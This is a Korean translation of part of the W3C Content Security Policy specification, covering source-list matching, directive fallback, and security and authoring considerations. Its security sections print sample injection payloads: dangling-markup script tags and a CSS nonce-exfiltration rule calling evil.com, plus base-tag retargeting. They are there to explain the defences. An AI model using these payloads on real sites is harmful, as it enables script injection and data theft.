각 expression에 대해 list에서:
-
expression이
nonce-source
또는hash-source
문법에 일치하면, "Does Not Allow
"를 반환한다. -
type이 "
script
", "script attribute
" 또는 "navigation
"이고 expression이 keyword-source "'strict-dynamic'
"에 일치하면, "Does Not Allow
"를 반환한다.참고:
'strict-dynamic'
은 스크립트에만 적용되며, 다른 리소스 타입에는 적용되지 않는다. 자세한 사용법은 § 8.2 "'strict-dynamic'" 사용법 참고. -
expression이 ASCII 대소문자 구분 없이
keyword-source
"'unsafe-inline'
"와 일치하면, allow all inline을true
로 한다.
-
-
allow all inline이
true
이면 "Allows
"를 반환하고, 아니면 "Does Not Allow
"를 반환한다.
'unsafe-inline' http://a.com http://b.com 'unsafe-inline'
소스 리스트 중 nonce/hash의 존재
또는 'unsafe-inline
' 미포함으로 인해 모든 인라인 동작을 허용하지 않는 경우:
'sha512-321cba' 'nonce-abc' http://example.com 'unsafe-inline' 'nonce-abc'
소스 리스트 중
'script
' 또는 'script attribute
' 타입에서는 'strict-dynamic
' 존재로 인해
모든 인라인 동작을 허용하지 않지만, 그 외 타입에서는 허용하는 경우:
'unsafe-inline' 'strict-dynamic' http://example.com 'strict-dynamic' 'unsafe-inline'
6.7.3.3. element가 type 및 source에 대해 소스 리스트와 일치하는가?
Element
element, source
list list, 문자열
type, 문자열 source가 주어졌을 때, 이 알고리즘은 "Matches
" 또는
"Does Not Match
"를 반환한다.
참고: 문서의 인코딩과 무관하게 source는 해시 알고리즘 적용 전에
UTF-8
로 변환된다.
-
§ 6.7.3.2 소스 리스트가 해당 타입의 모든 인라인 동작을 허용하는가?가 list, type에 대해 "
Allows
"를 반환하면, "Matches
"를 반환한다. -
type이 "
script
" 또는 "style
"이고, § 6.7.3.1 요소가 nonceable인가?가 element에 대해 "Nonceable
"를 반환하면:-
각 expression에 대해 list에서:
-
expression이
nonce-source
문법에 일치하고, element가nonce
속성을 가지고 그 값이 expression의base64-value
부분과 동일하면, "Matches
"를 반환한다.
-
참고: Nonce는 인라인
script
및 인라인style
에만 적용되며, 두 요소의 속성이나javascript:
내비게이션에는 적용되지 않는다. -
-
unsafe-hashes flag를
false
로 한다. -
각 expression에 대해 list에서:
-
expression이 ASCII 대소문자 구분 없이
keyword-source
"'unsafe-hashes'
"와 일치하면, unsafe-hashes flag를true
로 설정하고 루프를 종료한다.
-
-
type이 "
script
" 또는 "style
"이거나 unsafe-hashes flag가true
이면:-
source를 UTF-8 encode를 JavaScript string converting을 source에 실행한 결과에 적용한 값으로 한다.
-
각 expression에 대해 list에서:
-
expression이
hash-source
문법에 일치하면:-
algorithm을 null로 한다.
-
expression의
hash-algorithm
부분이 "sha256"과 ASCII 대소문자 구분 없이 일치하면 algorithm을 SHA-256으로 한다. -
expression의
hash-algorithm
부분이 "sha384"과 ASCII 대소문자 구분 없이 일치하면 algorithm을 SHA-384으로 한다. -
expression의
hash-algorithm
부분이 "sha512"와 ASCII 대소문자 구분 없이 일치하면 algorithm을 SHA-512으로 한다. -
algorithm이 null이 아니면:
-
actual을 base64 인코딩을 algorithm을 source에 적용한 결과에 수행한 값으로 한다.
-
expected을 expression의
base64-value
부분에서 모든 '-
' 문자를 '+
'로, 모든 '_
' 문자를 '/
'로 바꾼 값으로 한다.참고: 이 치환은 base64url 인코딩에서 base64 인코딩으로 변환해 일치 검사를 위해 사용된다.
-
actual이 expected와 동일하면, "
Matches
"를 반환한다.
-
-
-
참고: 해시는 인라인
script
및 인라인style
에 적용된다. "'unsafe-hashes'
" 소스 식이 있으면 이벤트 핸들러, style 속성,javascript:
내비게이션에도 적용된다. -
동적 삽입된 인라인 스크립트에 대해
'strict-dynamic'
처리 추가 필요. [w3c/webappsec-csp Issue #426]
-
"
Does Not Match
"를 반환한다.
6.8. 지시어 알고리즘
6.8.1. request에 대한 유효 지시어 획득
각 fetch 지시어는 request의 특정 destination을 제어한다. request request가 주어졌을 때, 이 알고리즘은 null 또는 요청의 이름을 반환한다. 유효 지시어(effective directive):
-
request의 initiator가 "
prefetch
" 또는 "prerender
"이면,default-src
를 반환한다. -
request의 destination에 따라 다음 단계를 실행한다:
- 빈 문자열
-
-
connect-src
를 반환한다.
-
- "
manifest
" -
-
manifest-src
를 반환한다.
-
- "
object
"- "
embed
" - "
-
-
object-src
를 반환한다.
-
- "
frame
"- "
iframe
" - "
-
-
frame-src
를 반환한다.
-
- "
audio
"- "
track
"- "
video
" - "
-
-
media-src
를 반환한다.
-
- "
font
" -
-
font-src
를 반환한다.
-
- "
image
" -
-
img-src
를 반환한다.
-
- "
style
" -
-
style-src-elem
를 반환한다.
-
- "
script
"- "
xslt
"- "
audioworklet
"- "
paintworklet
" - "
-
-
script-src-elem
를 반환한다.
-
- "
serviceworker
"- "
sharedworker
"- "
worker
" - "
-
-
worker-src
를 반환한다.
-
- "
json
"- "
webidentity
" - "
-
-
connect-src
를 반환한다.
-
- "
report
" -
-
null을 반환한다.
-
-
connect-src
를 반환한다.
참고: 이 알고리즘은 기본 폴백으로 connect-src
를 반환한다.
이는 명시적으로 다른 카테고리에 속하지 않는 새로운 fetch destination을 위해 설계된 것이다.
6.8.2. 인라인 검사에 대한 유효 지시어 획득
문자열 type이 주어졌을 때, 이 알고리즘은 유효 지시어의 이름을 반환한다.
참고: 유효 지시어는 request에 대해서만 정의되지만, 이 알고리즘에서는 특정 인라인 검사 타입에 가장 관련 있는 지시어를 의미하는 용도로 사용된다.
-
type에 따라 분기한다:
- "
script
"- "
navigation
" - "
-
-
script-src-elem
를 반환한다.
-
- "
script attribute
" -
-
script-src-attr
를 반환한다.
-
- "
style
" -
-
style-src-elem
를 반환한다.
-
- "
style attribute
" -
-
style-src-attr
를 반환한다.
-
- "
-
null을 반환한다.
6.8.3. fetch 지시어 폴백 리스트 획득
특정 지시어에 대한 폴백 ordered set을 반환한다. 반환된 ordered set은 가장 관련 있는 순서로 정렬되어 있으며, 유효 지시어 자체도 포함한다.
문자열 directive name이 주어졌을 때:
-
directive name에 따라 분기한다:
- "
script-src-elem
" -
-
<< "script-src-elem", "script-src", "default-src" >>
를 반환한다.
-
- "
script-src-attr
" -
-
<< "script-src-attr", "script-src", "default-src" >>
를 반환한다.
-
- "
style-src-elem
" -
-
<< "style-src-elem", "style-src", "default-src" >>
를 반환한다.
-
- "
style-src-attr
" -
-
<< "style-src-attr", "style-src", "default-src" >>
를 반환한다.
-
- "
worker-src
" -
-
<< "worker-src", "child-src", "script-src", "default-src" >>
를 반환한다.
-
- "
connect-src
" -
-
<< "connect-src", "default-src" >>
를 반환한다.
-
- "
manifest-src
" -
-
<< "manifest-src", "default-src" >>
를 반환한다.
-
- "
object-src
" -
-
<< "object-src", "default-src" >>
를 반환한다.
-
- "
frame-src
" -
-
<< "frame-src", "child-src", "default-src" >>
를 반환한다.
-
- "
media-src
" -
-
<< "media-src", "default-src" >>
를 반환한다.
-
- "
font-src
" -
-
<< "font-src", "default-src" >>
를 반환한다.
-
- "
img-src
" -
-
<< "img-src", "default-src" >>
를 반환한다.
-
- "
-
<< >>
를 반환한다.
6.8.4. fetch 지시어 실행 여부
이 알고리즘은 fetch 지시어에
대해, 해당 지시어가 실행되어야 하는지 더 적합한 다른 지시어로 위임되어야 하는지 결정한다.
예: effective directive name이 worker-src
라면(현재 워커 요청을 체크 중),
worker-src
또는 script-src
지시어가 존재하면 default-src
지시어는 실행되지 않아야 한다.
문자열 effective directive name, 문자열 directive name, policy policy가 주어졌을 때:
-
directive fallback list를 § 6.8.3 fetch 지시어 폴백 리스트 획득을 effective directive name에 대해 실행한 결과로 한다.
-
각 fallback directive에 대해 directive fallback list에서:
-
directive name이 fallback directive와 같으면, "
Yes
"를 반환한다. -
policy에 name이 fallback directive인 지시어가 있으면, "
No
"를 반환한다.
-
-
"
No
"를 반환한다.
7. 보안 및 개인정보 보호 고려사항
7.1. Nonce 재사용
Nonce는 해당 지시어에 있는 다른 제한을 무시한다. 따라서 nonce가 추측 불가능하게 유지되는 것이 매우 중요하며, 그렇지 않으면 리소스 정책을 우회하는 것이 매우 쉬워진다.
서버가 nonce-source 표현식을 policy의 일부로 전달할 경우, 서버는 정책을 전송할 때마다 고유한 값을 생성해야 한다. 생성된 값은 인코딩 전 최소 128비트 길이여야 하며, 암호학적으로 안전한 난수 생성기를 사용하여 공격자가 예측하기 어렵게 만들어야 한다.
참고: 인라인 스크립트나 스타일에 nonce를 사용하는 것은 nonce를 사용하지 않는 것보다 보안성이 떨어진다. nonce는 해당 지시어의 제한을 무시하기 때문이다. 공격자가 nonce에 접근하면 언제든 원하는 스크립트를 실행할 수 있다. 그럼에도 불구하고, nonce는 'unsafe-inline'보다 상당한 개선을 제공하므로, 기존 코드 위에 콘텐츠 보안 정책을 적용할 때 유용하다. 'unsafe-inline' 사용을 고려한다면, 작성자에게는 nonce(또는 해시) 사용을 권장한다.
7.2. Nonce 탈취
7.2.1. Dangling markup 공격
[FILEDESCRIPTOR-2015]에서 논의된 것과 같은 dangling markup 공격은 정상적인 페이지의 nonce를 인젝션에
재활용할 수 있다. 예를 들어,
script
요소 앞에 인젝션 포인트가 있을 때:
< p > Hello, [INJECTION POINT]</ p > < script nonce = abc src = /good.js ></ script >
공격자가 "<script src='https://evil.com/evil.js'
" 문자열을 인젝션하면, 브라우저는 다음과 같이 수신하게 된다:
< p > Hello,< script src = 'https://evil.com/evil.js' </p > < script nonce= abc src= /good.js></ script >
이 코드는 파싱되어
script
요소에 악성 페이로드를 가리키는 src
속성, </p>
라는 이름의 속성, "<script
"라는 이름의
속성, nonce
속성, 그리고 파서가 중복으로 간주해 버리는 두 번째 src
속성이 생긴다.
§ 6.7.3.1 요소가 nonceable인가? 알고리즘은
script
또는
style
요소의 속성에서
이름이나 값에 "<script
", "<style
" 문자열이 있는지 검사하여 이런 공격을 완화하려 시도한다.
User-agent는 이 알고리즘을 구현할 때 중복 속성을 무시하지 않도록 각별히 신경 써야 한다. 한 요소에 중복 속성이 있으면 첫 번째 이후의 인스턴스는 무시되지만, § 6.7.3.1 요소가 nonceable인가? 알고리즘에서는 모든 속성(중복 포함)을 검사해야 한다.
현재 HTML 명세의 파싱 알고리즘은 § 6.7.3.1 요소가 nonceable인가? 실행 전 이 정보를 제거하므로 실제로 중복 속성을 감지할 수 없게 만든다. [whatwg/html Issue #3257]
다음 예시 페이지에서:
Hello, [INJECTION POINT]< script nonce = abc src = /good.js ></ script >
아래와 같은 인젝션 문자열은 § 6.7.3.1 요소가 nonceable인가? 알고리즘 검사를 우회하고자 중복 속성을 사용한다:
Hello,< script src = 'https://evil.com/evil.js' x = "" x = <script nonce = "abcd" src = /good.js ></ script >
7.2.2. 콘텐츠 속성을 통한 nonce 유출
일부 CSP 공격은 다양한 메커니즘을 통해 nonce 데이터를 콘텐츠 속성에서 유출할 수 있는 능력에 의존한다. CSS 선택자가 대표적인 예이다. 접두사/접미사 텍스트 매칭 선택자를 영리하게 사용하면 값을 공격자의 서버로 전송하여 재사용할 수 있다. 예시:
script[ nonce=a] { background : url ( "https://evil.com/nonce?a" );}
nonce
섹션에서는 이런 공격을 완화하기 위해 nonce를 요소의 콘텐츠 속성에서 숨기고 내부 슬롯으로 이동시키는 방법을 다룬다. 이렇게 하면 nonce
값은 스크립트에는
노출되지만 비스크립트 채널에는 노출되지 않는다.
7.3. Nonce 리타게팅
Nonce는 host-source 표현식을 우회하므로 개발자가 모든 origin에서 코드를 로드할 수 있게 한다. 이는
일반적으로 개발자 입장에서는 바람직하다. 그러나 공격자가
base
요소를 삽입할 수 있으면 상대 URL이 해석될 때 원래 안전한 페이지가 우회될 수 있다. 예를 들어 https://example.com/
에서 다음 코드는
https://example.com/good.js
를 로드한다:
< script nonce = abc src = /good.js ></ script >
하지만 아래와 같이 하면 https://evil.com/good.js
가 로드된다:
< base href = "https://evil.com" > < script nonce = abc src = /good.js ></ script >
이 위험을 완화하려면 모든 페이지에 명시적으로
base
요소를 설정하거나, base-uri
지시어를 정책에 설정하여 공격자의
base
요소 삽입을 제한하는 것이 좋다. 예: base-uri 'none'
.
7.4. CSS 파싱
style-src 지시어는 보호된 리소스가 스타일을 로드할 수 있는 위치를 제한한다. 하지만 사용자 에이전트가 느슨한 CSS 파싱 알고리즘을 사용할 경우, 공격자가 신뢰할 수 있는 origin에 호스팅된 악의적 "스타일시트"를 받아들이도록 속일 수 있다.
이런 공격은 Chris Evans가 2009년에 기술한 CSS 교차 출처 데이터 유출 공격 [CSS-ABUSE]과 유사하다. 사용자 에이전트는 부적절한 MIME 타입의 스타일시트에 대해 더 엄격한 CSS 파싱 규칙을 사용하여 두 공격 모두를 방어해야 한다.
7.5. 위반 보고
이 문서의 위반 보고 메커니즘은 악의적인 웹사이트가 위반 보고를 사용해 다른 서버의 동작을 탐침하는 위험을 완화하도록 설계되어 있다. 예를 들어, 악의적인 웹사이트가 이미지 소스에
https://example.com
을 허용하고, https://example.com/login
이미지를 로드하려 하면
example.com
서버가 인증 공급자(identityprovider.example.net
)로 리디렉션할 수 있다. CSP는 요청을
차단한다. 위반 보고서에 전체 차단된 URL이 포함되면 리디렉션된 URL에 포함된 세션 식별자나 신원 정보 등 민감한 정보가 노출될 수 있다. 이런 이유로, 사용자 에이전트는 원래 요청의
URL만 보고서에 포함하며, 리디렉션 대상은 포함하지 않는다.
또한 위반 보고는 공격자가 제어하는 데이터로 간주해야 한다. 위반 보고를 대시보드나 유사 서비스에서 수집하고자 하는 개발자는 렌더링 전에 반드시 내용을 적절히 이스케이프해야 하며(그리고
CSP를 사용해 추가 인젝션 위험을 완화하는 것이 좋다), 특히 "script-sample
" 속성과 sample
속성, SecurityPolicyViolationEvent
등은 완전히 공격자가 제어하는 문자열임을 주의해야 한다.
7.6. 경로와 리디렉션
Egor Homakov의
Using
Content-Security-Policy for Evil에서 논의된 것처럼 출처 간 경로 정보 유출을 방지하기 위해, 매칭 알고리즘은 리소스가 리디렉션 결과일 경우 소스
표현식의 경로 컴포넌트를 무시한다. 예를 들어, 다음과 같은 정책이 활성화된 페이지가 있을 때:
img-src example.com example.org/path
:
-
https://example.org/not-path
를 직접 로드하면 정책에 맞지 않아 실패한다. -
https://example.com/redirector
를 직접 로드하면example.com
과 일치하므로 성공한다. -
https://example.com/redirector
가https://example.org/not-path
로 리디렉션하면, 최초 URL이example.com
과 일치하고, 리디렉션 대상이 경로를 무시하면example.org/path
와 일치하므로 성공한다.
이 제한은 리디렉션이 작동할 때 문서의 정책 세분성을 낮추지만, 이런 유형의 정보 유출을 방지하기 위한 필수적인 타협이다.
더 자세한 논의는 public-webappsec@w3.org의 "Remove paths from CSP?" 스레드에서 확인할 수 있다.
7.7. 보안 업그레이드
Yan Zhu의 Sniffly와 같은 히스토리 스캐닝 공격을 완화하기 위해, CSP는
script-src http://example.com
과 같은 정책으로 페이지가 자신을 비보안 URL에만 제한하지 못하도록 한다. § 6.7.2.9 scheme-part 일치에서 설명한 대로, 소스 표현식의 scheme 부분은 항상 보안 변종으로 업그레이드를
허용한다.
7.8. CSP 상속을 통한 우회 방지
로컬
scheme에서 로드된 문서는 소스 문서의 정책을 복사해 상속받는다. 이는 페이지가 srcdoc
문서, blob:
또는
data:
URL, about:blank
문서 등을 프레임에 삽입하거나 새 창으로 열어 정책을 우회하지 못하도록 하기 위함이다.
unsafe-inline
없이도 단순히 srcdoc
iframe
을 삽입해 인라인 스크립트를 실행할 수 있다.
< iframe srcdoc = "<script>alert(1);</script>" ></ iframe >
새 CSP
리스트의 복사본을 만든다는 점에 유의해야 하며, 새 Document
의
CSP
리스트는 생성 시점의 정책 스냅샷이다. 새 Document
의
CSP
리스트를 수정해도 소스 Document
의
CSP
리스트에는 영향을 주지 않는다.
meta
태그 정책에 의해 로드가 차단된다. iframe 외부의 이미지는(메인 페이지 정책이 차단하지 않는
한) 로드되며, iframe의 정책은 외부 이미지는 영향을 주지 않는다.
< iframe srcdoc = '<meta http-equiv="Content-Security-Policy" content="img-src example.com;"> <img src="not-example.com/image">' ></ iframe > < img src = "not-example.com/image" >
8. 저작 고려사항
8.1. 다중 정책의 효과
이 절은 현행 표준에 속하지 않습니다.
상단 섹션에서 여러 정책이 존재할 경우 각 정책은 타입에 따라 적용 또는 보고되어야 한다고 언급하였다. 실제 동작을 명확히 하기 위해 예시를 들어본다. 사이트가 다음과 같은 HTTP 헤더를
전달하는 경우 XMLHttpRequest
의 동작이 모호할 수 있다:
Content-Security-Policy: default-src 'self' http://example.com http://example.net; connect-src 'none'; Content-Security-Policy: connect-src http://example.com/; script-src http://example.com/
example.com으로의 연결이 허용되는가? 짧게 답하면 허용되지 않는다. 두 정책을 모두 적용하면, 연결은 두 정책 모두를 통과해야 한다. 두 번째 정책이 연결을 허용하더라도 첫 번째
정책에 connect-src 'none'
이 있으므로 연결이 차단된다. 즉, 정책을 추가하면 보호 리소스의 기능이 더욱 제한될 뿐이다.
이를 더 명확히 하기 위해, 이 페이지의 script 태그를 생각해보자. 첫 번째 정책은 default-src
지시어로 스크립트를
'self'
, http://example.com
, http://example.net
로 제한한다. 두 번째 정책은
http://example.com/
에서만 스크립트를 허용한다. 스크립트는 두 정책의 기준을 모두 만족해야 로드된다. 즉, 두 정책 모두 허용하는
http://example.com
만 일치한다.
8.2.
"'strict-dynamic'
" 사용법
이 절은 현행 표준에 속하지 않습니다.
호스트 및 경로 기반 정책은 CDN 같은 대규모 origin에서 제대로 구현하기 어렵다. Cure53의 H5SC Minichallenge 3: "Sh*t, it’s CSP!" [H5SC3]의 솔루션들은 이런 정책이 우회될 수 있는 다양한 사례를 보여준다. CSP는 특정 리소스를 exhaustive하게 선언하여 이런 우회를 완화할 수 있지만, 이런 리스트는 깨지기 쉽고 유지보수가 어렵다.
"'strict-dynamic'
" 소스 식은, 직접 로드하는 스크립트에 대한
신뢰도는 높지만 미리 로드할 리소스 목록을 합리적으로 제공할 자신이 없는 기존 앱에 CSP 적용을 쉽게 하려는 목적이다.
script-src
또는 default-src
지시어에
포함될 경우 두 가지 주요 효과가 있다:
-
host-source, scheme-source 표현식과 "
'unsafe-inline'
", "'self'
keyword-source는 스크립트 로드시 무시된다.hash-source, nonce-source 표현식은 적용된다.
-
비-"parser-inserted"
script
요소에서 트리거된 스크립트 요청은 허용된다.
첫 번째 변화 덕분에 "'strict-dynamic'
"를 user-agent 감지 없이도 역호환적으로
배포할 수 있다. 예를 들어 'unsafe-inline' https: 'nonce-abcdefg' 'strict-dynamic'
정책은 CSP1 지원 브라우저에서는
'unsafe-inline' https:
, CSP2 지원 브라우저에서는
https: 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV'
, CSP3 지원 브라우저에서는
'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV' 'strict-dynamic'
처럼 동작한다.
두 번째 효과는 nonce/hash로 페이지에 접근한 스크립트가 의존성을 페이지 정책에 명시적으로 추가하지 않아도 가져올 수 있게 해준다.
Content-Security-Policy: script-src 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV' 'strict-dynamic'
그리고 다음과 같은 HTML을 해당 정책 하에 제공:
...< script src = "https://cdn.example.com/script.js" nonce = "DhcnhD3khTMePgXwdayK9BsMqXjhguVV" ></ script > ...
이 경우 https://cdn.example.com/script.js
요청은
nonce
속성 값이 일치하므로 차단되지 않는다.
script.js
에 아래 코드가 있으면:
var s= document. createElement( 'script' ); s. src= 'https://othercdn.not-example.net/dependency.js' ; document. head. appendChild( s); document. write( '<scr' + 'ipt src="/sadness.js"></scr' + 'ipt>' );
dependency.js
는 createElement()
로 만든
script
요소가 "parser-inserted"가 아니므로 로드된다.
sadness.js
는 document.write()
가 "parser-inserted"
script
요소를 생성하므로 로드되지 않는다.
참고: 'strict-dynamic' 정책에서는 런타임에 생성된 스크립트가 실행된다. 이런 스크립트 위치를 공격자가 제어할 수 있다면 임의 스크립트 로드가 허용된다. 'strict-dynamic' 사용 시, 개발자는 비-parser-inserted API의 사용처를 감사하고 신뢰할 수 없는 데이터로 호출되지 않도록 해야 한다. 이는 런타임에 스크립트 위치를 결정하는 앱이나 프레임워크에도 해당된다.
8.3.
"'unsafe-hashes'
" 사용법
이 절은 현행 표준에 속하지 않습니다.
레거시 사이트나 의존성으로 인해 이벤트 핸들러를 완전히 외부화하기 어려운 사이트는 'unsafe-inline'
을 통해 허용할 수 있지만, 이는 위험이 크고
nonce/hash와 함께 사용할 수도 없다.
"'unsafe-hashes'
" 소스 식은, 해시를 통해 특정 핸들러만
활성화해 CSP 배포를 더 쉽고 안전하게 한다.
< button id = "action" onclick = "doSubmit()" >
보안을 낮추는 "'unsafe-inline'
" 대신, "'unsafe-hashes'
"와
doSubmit()
에 해당하는 해시 소스 표현식을 사용한다:
Content-Security-Policy: script-src 'unsafe-hashes' 'sha256-jzgBGA4UWFFmpOBq0JpdsySukE1FrEN5bUpoK8Z29fY='
'unsafe-hashes'
는 레거시 사이트에는 유용하지만, 최신 사이트에서는 가급적 사용하지 말아야 한다. 해시는 특정 스크립트 실행을 허용하지만, 개발자가
의도한 방식으로 실행되는지는 보장하지 않는다. 예를 들어 <a onclick="transferAllMyMoney()">Transfer</a>
와
같은 인라인 이벤트 핸들러가 있으면, 공격자가 <script>transferAllMyMoney()</script>
를 인젝션하는 것이 가능하다.
개발자는 인라인 이벤트 핸들러 허용의 배포 편의성과 실행 허용의 위험을 균형 있게 고려해야 한다.
8.4. 해시로 외부 자바스크립트 허용
이 절은 현행 표준에 속하지 않습니다.
[CSP2]에서는 해시 source expression이 인라인 스크립트에만 적용됐으나, Subresource Integrity [SRI]가 널리 보급된 현재는 외부 자바스크립트에도 적용할 수 있다.
한 script
에
여러 integrity 메타데이터가 지정된 경우,
요청은 정책의 hash-source와 오직 각
script
의
모든 integrity 메타데이터가 정책과 일치하는 경우에만 일치한다.
참고: CSP 명세에서는 인라인
script
나
이벤트 핸들러의 내용은 해시 계산 전에 UTF-8 인코딩해야 한다고 명시. [SRI]는 fetch된 리소스의 원본에 대해 해시를 계산한다. 즉, 내용이 같아도 인라인 스크립트 허용에
필요한 해시와 외부 스크립트 허용에 필요한 해시는 다를 수 있다.
Content-Security-Policy: script-src 'sha256-abc123' 'sha512-321cba'
이 정책이 활성화된 상태에서는 아래
script
요소들이 정책과 일치하는 integrity 메타데이터만을 포함하므로 실행이 허용된다:
< script integrity = "sha256-abc123" ...></ script > < script integrity = "sha512-321cba" ...></ script > < script integrity = "sha256-abc123 sha512-321cba" ...></ script >
반면 아래
script
요소들은 일치하지 않는(다른 정책과 일치하더라도) 메타데이터를 포함하므로 실행되지 않는다:
< script integrity = " sha384-xyz789 " ...></ script > < script integrity = " sha384-xyz789 sha512-321cba" ...></ script > < script integrity = "sha256-abc123 sha384-xyz789 sha512-321cba" ...></ script >
인식할 수 없는 메타데이터(완전히 잘못됐거나, 아직 지원되지 않는 해시 알고리즘을 지정한 경우)는 여기서 설명하는 동작에 영향을 주지 않는다. 즉, 아래 요소들은 위 정책이 있어도 추가 메타데이터가 무효이므로 정책에 명시적으로 포함되지 않은 스크립트가 실행되지는 않는다:
< script integrity = "sha256-abc123 sha1024-abcd " ...></ script > < script integrity = "sha512-321cba entirely-invalid " ...></ script > < script integrity = "sha256-abc123 not-a-hash-at-all sha512-321cba" ...></ script >
8.5. Strict CSP
이 절은 현행 표준에 속하지 않습니다.
XSS에 효과적인 CSP 배포는 어려운 과제다(CSP Is Dead, Long Live CSP! [LONG-LIVE-CSP] 참고). 하지만 아래와 같은 CSP 지시어 집합을 강제하면 XSS에 대해 효과적이고 배포 가능한 완화책이 된다.
-
script-src: "'strict-dynamic'" keyword-source와 함께 nonce 또는 hash source-expression만 사용.
참고: "'strict-dynamic'"은 배포는 쉽지만 (§ 8.2 "'strict-dynamic'" 사용법 참고), 가능하면 사용을 피하는 것이 좋다.
참고: 역호환을 위해, "'strict-dynamic'"과 함께 https: scheme-source를 지정하는 것이 좋다.
위 기준을 만족하는 CSP를 Strict CSP라 한다. 자세한 내용은 [WEBDEV-STRICTCSP] 참고.
Nonce 기반 Strict CSP:
Content-Security-Policy: script-src 'strict-dynamic' 'nonce-{RANDOM}'; base-uri 'self';
Hash 기반 Strict CSP:
Content-Security-Policy: script-src 'strict-dynamic' 'sha256-{HASHED_INLINE_SCRIPT}'; base-uri 'self';
8.6. 데이터 유출(Exfiltration)
이 절은 현행 표준에 속하지 않습니다.
요청의 URL 등 내용에 사용자나 페이지 관련 정보가 포함될 경우, 제한되어야 할 정보가 유출될 수 있다.
Content Security Policy는 페이지가 통신할 수 있는 서버를 allowlist로 지정하면 데이터 유출을 완화할 수 있다. default-src 지시어가 없는 정책은 유출을 완화할 수 없다. 더 구체적인
지시어로 제어할 수 없는 종류의
요청(prefetch
등)이 있기 때문이다. [HTML]
fetch()
,
prefetch
등)을 통해 데이터 유출이 가능하다:
[HTML]
Content-Security-Policy: img-src 'none'; script-src 'none'; font-src 'none'
여기에 default-src 'none'
를 추가하면 이런 공격에 더 강한 방어가 된다.
Content-Security-Policy: default-src 'none'; img-src *
9. 구현 고려사항
9.1. 벤더별 확장 및 애드온
정책이 리소스에 적용될 때, 애드온/확장/북마클릿 등 사용자 에이전트 기능의 동작을 방해하지 않아야 한다. 이런 기능은 일반적으로 페이지 저자보다 사용자의 우선 순위를 높이는 것으로 [HTML-DESIGN]에서 설명한다.
또한 이러한 기능에 CSP를 적용하면 위반 보고에 노이즈가 많이 발생하여 개발자에게 가치가 크게 떨어진다.
예를 들어 Chrome은 chrome-extension:
scheme을 CSP 검사에서 제외하며, 확장 기반 인젝션은 페이지 정책과 무관하게 허용되도록
처리한다.
10. IANA 고려사항
10.1. 지시어 레지스트리
Content Security Policy Directive 레지스트리는 아래 지시어와 참조로 업데이트되어야 한다 [RFC7762]:
base-uri
-
본 문서 (§ 6.3.1 base-uri 참고)
child-src
-
본 문서 (§ 6.1.1 child-src 참고)
connect-src
-
본 문서 (§ 6.1.2 connect-src 참고)
default-src
-
본 문서 (§ 6.1.3 default-src 참고)
font-src
-
본 문서 (§ 6.1.4 font-src 참고)
form-action
-
본 문서 (§ 6.4.1 form-action 참고)
frame-ancestors
-
본 문서 (§ 6.4.2 frame-ancestors 참고)
frame-src
-
본 문서 (§ 6.1.5 frame-src 참고)
img-src
-
본 문서 (§ 6.1.6 img-src 참고)
manifest-src
-
본 문서 (§ 6.1.7 manifest-src 참고)
media-src
-
본 문서 (§ 6.1.8 media-src 참고)
object-src
-
본 문서 (§ 6.1.9 object-src 참고)
report-uri
-
본 문서 (§ 6.5.1 report-uri 참고)
report-to
-
본 문서 (§ 6.5.2 report-to 참고)
sandbox
-
본 문서 (§ 6.3.2 sandbox 참고)
script-src
-
본 문서 (§ 6.1.10 script-src 참고)
script-src-attr
-
본 문서 (§ 6.1.12 script-src-attr 참고)
script-src-elem
-
본 문서 (§ 6.1.11 script-src-elem 참고)
style-src
-
본 문서 (§ 6.1.13 style-src 참고)
style-src-attr
-
본 문서 (§ 6.1.15 style-src-attr 참고)
style-src-elem
-
본 문서 (§ 6.1.14 style-src-elem 참고)
worker-src
-
본 문서 (§ 6.2.2 worker-src 참고)
10.2. 헤더
영구 메시지 헤더 필드 레지스트리는 다음과 같이 갱신되어야 한다 [RFC3864]
10.2.1. Content-Security-Policy
- 헤더 필드 이름
- Content-Security-Policy
- 적용 프로토콜
- http
- 상태
- standard
- 작성자/변경 관리자
- W3C
- 명세 문서
- 본 명세 (§ 3.1 Content-Security-Policy HTTP 응답 헤더 필드 참고)
10.2.2. Content-Security-Policy-Report-Only
- 헤더 필드 이름
- Content-Security-Policy-Report-Only
- 적용 프로토콜
- http
- 상태
- standard
- 작성자/변경 관리자
- W3C
- 명세 문서
- 본 명세 (§ 3.2 Content-Security-Policy-Report-Only HTTP 응답 헤더 필드 참고)
11. 감사의 글
많은 사람들이 훌륭합니다. 예를 들어:
-
Mario와 Cure53 모두.
-
Artur Janc, Michele Spagnuolo, Lukas Weichselbaum, Jochen Eisinger, 그리고 Google의 CSP Cabal 나머지 분들.